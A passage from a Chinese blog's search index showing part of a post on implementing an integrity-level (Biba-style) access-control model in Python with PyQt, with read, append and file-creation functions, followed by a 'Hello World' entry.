title="读取文件内容"></a>读取文件内容</h4><blockquote><p>双击文件名<br>获取选中文件和当前用户的完整性级别<br>如果用户的级别低于文件,则读取文件内容</p></blockquote> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">readfile</span><span class="params">(self)</span>:</span></span><br><span class="line"> dict = self.getGrade()</span><br><span class="line"> fgrade = str(dict[self.file_path])</span><br><span class="line"> ugrade = self.lineEdit_2.text()</span><br><span class="line"> <span class="keyword">if</span> ugrade &gt;= fgrade:</span><br><span class="line"> print(ugrade+ <span class="string">' 正在读取 '</span>+fgrade)</span><br><span class="line"> filename = self.file_path</span><br><span class="line"> print(filename)</span><br><span class="line"> fr = open(filename)</span><br><span class="line"> lines = <span class="string">''</span></span><br><span class="line"> arrayofLines = fr.readlines()</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> arrayofLines:</span><br><span class="line"> lines += line</span><br><span class="line"> self.textEdit.setText(lines)</span><br><span class="line"> print(<span class="string">'读取成功\n'</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"您的用户等级太高"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br></pre></td></tr></table></figure><h4 id="增加文件内容"><a href="#增加文件内容" class="headerlink" title="增加文件内容"></a>增加文件内容</h4><blockquote><p>双击文件名<br>获取选中文件和当前用户的完整性级别<br>如果用户的级别高于文件,则写入文件内容</p></blockquote> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">writefile</span><span class="params">(self)</span>:</span></span><br><span class="line"> dict = self.getGrade()</span><br><span class="line"> fgrade = dict[self.file_path]</span><br><span class="line"> ugrade = self.lineEdit_2.text()</span><br><span class="line"> print(ugrade + <span class="string">' 正在写入 '</span> + fgrade)</span><br><span class="line"> <span class="keyword">if</span> ugrade &lt;= fgrade:</span><br><span class="line"> filename = self.file_path</span><br><span class="line"> str = self.textEdit.toPlainText()</span><br><span class="line"> print(str)</span><br><span class="line"> fo = open(filename, <span class="string">'r+'</span>)</span><br><span class="line"> fo.seek(<span class="number">0</span>, <span class="number">2</span>)</span><br><span class="line"> fo.write(str)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"您的用户等级太低"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br></pre></td></tr></table></figure><h4 id="创建文件"><a href="#创建文件" class="headerlink" title="创建文件"></a>创建文件</h4><blockquote><p>获取当前用户名和输入的文件名<br>在当前路径下创建名为用户名的文件<br>并对新创建的文件与用户等级建立字典新文件路径为key用户等级为value<br>这个字典方便读写时判断等级高低</p></blockquote> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">touchfile</span><span class="params">(self)</span>:</span></span><br><span class="line"> urName = self.lineEdit.text()</span><br><span class="line"> filename = self.lineEdit_4.text()</span><br><span class="line"> cur_path = os.getcwd()</span><br><span class="line"> new_path = os.path.join(cur_path + <span class="string">'/file'</span>, urName)</span><br><span class="line"> print(urName)</span><br><span class="line"> <span class="keyword">if</span> os.path.exists(new_path) == <span class="literal">False</span>:</span><br><span class="line"> os.mkdir(new_path)</span><br><span class="line"> os.chdir(new_path)</span><br><span class="line"> fr = open(filename, <span class="string">'w'</span>)</span><br><span class="line"> key = (new_path + <span class="string">'/'</span> + filename).replace(<span class="string">'\\'</span>, <span class="string">'/'</span>)</span><br><span class="line"> fr.close()</span><br><span class="line"> os.chdir(cur_path)</span><br><span class="line"> fa = open(<span class="string">'./etc/ac.txt'</span>, <span class="string">'r'</span>)</span><br><span class="line"> a = fa.read()</span><br><span class="line"> <span class="keyword">if</span> a == <span class="string">''</span>:</span><br><span class="line"> dict = &#123;&#125;</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> dict = eval(a)</span><br><span class="line"> dict[key] = self.lineEdit_2.text()</span><br><span class="line"> fr = open(<span class="string">'./etc/ac.txt'</span>, <span class="string">'w'</span>)</span><br><span class="line"> fr.write(str(dict))</span><br><span class="line"> fr.close()</span><br><span class="line"> fa.close()</span><br></pre></td></tr></table></figure><hr>]]></content>
<categories>
<category> 理论学习 </category>
</categories>
<tags>
<tag> 模型实现 </tag>
<tag> python </tag>
<tag> 访问控制 </tag>
</tags>
</entry>
<entry>
<title>Hello World</title>
<link href="/2000/01/01/hello-world/"/>
<url>/2000/01/01/hello-world/</url>
<content type="html"><![CDATA[<p>你好!我是混元霹雳手</p>]]></content>
</entry>
</search>